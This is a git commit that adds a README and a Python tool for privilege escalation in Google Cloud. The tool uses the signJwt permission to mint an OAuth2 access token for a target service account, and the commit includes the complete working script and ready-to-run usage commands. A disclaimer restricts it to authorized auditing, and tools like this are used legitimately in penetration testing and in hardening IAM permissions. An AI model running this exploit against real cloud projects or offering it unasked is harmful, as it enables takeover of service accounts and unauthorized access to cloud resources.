summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorsubh <subh@example.com>2026-02-13 11:28:45 +0530
committersubh <subh@example.com>2026-02-13 11:28:45 +0530
commit6b6298bd164e253405ca4fafdc36f82b474575e5 (patch)
tree7a2707389a0e77b8f8a30dbfca5b0a849a78139c
Initial Commit
-rw-r--r--README.md77
-rw-r--r--signedjwt-privesc.py103
2 files changed, 180 insertions, 0 deletions
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..6bc411d
--- /dev/null
+++ b/README.md
@@ -0,0 +1,77 @@
+## SignedJwt-PrivEsc
+---
+
+This tool specifically targets the `iam.serviceAccounts.signJwt` permission to generate an Access Token for a target Service Account without needing its private key.
+
+### OverView
+---
+
+In GCP, if an identity has the Service Account Token Creator role (or specifically iam.serviceAccounts.signJwt), they can sign a well-formed JWT which can be used to request Access Token for service Accounts. This script works as follows:
+
+ - Constructs an unsigned JWT with the target ServiceAccount as the issuer
+ - Calls the `signJwt` method of the IAM API, and passes the constructed JWT as the payload
+ - Exchanges the signed JWT for a full OAuth2 Access Token.
+
+
+### Options
+---
+
+```shell
+usage: signedjwt-privesc.py [-h] (-t TOKEN | -f TOKEN_FILE | -k KEY_FILE) -s TARGET
+
+Own Accounts with signJwt
+
+options:
+ -h, --help show this help message and exit
+ -t, --token TOKEN Caller's Access Token string
+ -f, --token-file TOKEN_FILE
+ Path to file containing Access Token
+ -k, --key-file KEY_FILE
+ Path to Service Account JSON key file
+ -s, --target-account TARGET Target Service Account Email
+```
+
+
+### Prerequisites
+---
+ - Python 3.x
+ - The iamcredentials.googleapis.com API must be enabled in the target project.
+ - Your caller identity must have iam.serviceAccounts.signJwt permission on the target account.
+
+
+### Installation
+---
+
+```
+git clone https://github.com/5epi0l/signedJwt-PrivEsc.git
+cd signedJwt-PrivEsc
+pip install -r requirements.txt
+```
+
+### Usage
+---
+
+1. Using a direct Access Token
+
+```shell
+python3 signedjwt-privesc.py -t $(gcloud auth print-access-token) -s target-sa@project-id.iam.gserviceaccount.com
+```
+
+2. Using a Service Account JSON Key
+
+```shell
+python3 signedjwt-privesc.py -k /path/to/key.json -s target-sa@project-id.iam.gserviceaccount.com
+```
+
+3. Using a Token File
+
+```shell
+python3 signedjwt-privesc.py -f ./token.txt -s target-sa@project-id.iam.gserviceaccount.com
+```
+
+
+## Disclaimer
+---
+
+This tool is for authorized security auditing and educational purposes only. Unauthorized access to computer systems is illegal.
+
diff --git a/signedjwt-privesc.py b/signedjwt-privesc.py
new file mode 100644
index 0000000..71eea49
--- /dev/null
+++ b/signedjwt-privesc.py
@@ -0,0 +1,103 @@
+#!/usr/bin/env python3
+
+import requests
+from google.oauth2 import service_account
+import json
+from datetime import datetime, timedelta
+import google.auth.transport.requests
+import argparse
+
+
+def getTokenFromKeyFile(file_name):
+ scopes = ["https://www.googleapis.com/auth/cloud-platform"]
+ creds = service_account.Credentials.from_service_account_file(file_name, scopes=scopes)
+ auth_req = google.auth.transport.requests.Request()
+ creds.refresh(auth_req)
+ return creds.token
+
+def getJwt(service_account_email, token):
+ now = int(datetime.now().timestamp())
+ payload = {
+ "iss":service_account_email,
+ "scope":"https://www.googleapis.com/auth/cloud-platform",
+ "aud":"https://oauth2.googleapis.com/token",
+ "iat": now,
+ "exp": now + 3600
+ }
+
+ body = {
+ "payload": json.dumps(payload)
+ }
+ headers = {
+ "Authorization": f"Bearer {token}",
+ "Content-Type":"Application/json"
+ }
+
+ signJwt_url = f"https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/{service_account_email}:signJwt"
+
+ r = requests.post(signJwt_url, json=body, headers=headers)
+ if r.status_code == 200:
+ signedJwt = r.json()['signedJwt']
+ return signedJwt
+ else:
+ print(f"[!] Signing Request failed (Status {r.status_code}): {r.text}")
+ sys.exit(1)
+
+
+def getAccessToken(service_account_email, token):
+ assertion = getJwt(service_account_email, token)
+ grant_type = "urn:ietf:params:oauth:grant-type:jwt-bearer"
+
+ headers = {
+ "Content-Type": "application/x-www-form-urlencoded"
+ }
+ body = {
+ "assertion": assertion,
+ "grant_type": grant_type
+ }
+ token_url = "https://oauth2.googleapis.com/token"
+ r = requests.post(token_url, data=body, headers=headers)
+ if r.status_code == 200:
+ return r.json()
+
+
+def main():
+ parser = argparse.ArgumentParser(
+ description="Own Accounts with signJwt"
+ )
+ group = parser.add_mutually_exclusive_group(required=True)
+ group.add_argument("-t", "--token", help="Caller's Access Token String")
+ group.add_argument("-f", "--token-file", help="Path to file containg Access Token")
+ group.add_argument("-k", "--key-file", help="Path to Service Account JSON key file")
+ parser.add_argument("-s", "--target-account", help="Target Service Account Email", required=True)
+
+ args = parser.parse_args()
+
+ token = None
+ if args.token:
+ token = args.token
+ elif args.token_file:
+ with open(args.token_file, 'r') as f:
+ token = f.read().strip()
+ elif args.key_file:
+ token = getTokenFromKeyFile(args.key_file)
+
+ if not token:
+ print("[!] Could not retrieve a valid caller token")
+ sys.exit(1)
+
+ service_account_email = None
+ if args.target_account:
+ service_account_email = args.target_account
+
+ try:
+ print("[*] Getting Access Token")
+ access_token = getAccessToken(service_account_email, token)
+ if access_token:
+ print(f"[*] Successfully retrieved access_token for {service_account_email}")
+ print(json.dumps(access_token, indent=2))
+ except Exception as e:
+ print(f"[!] An error occured while retrieving access_token for {service_account_email}")
+
+if __name__ == "__main__":
+ main()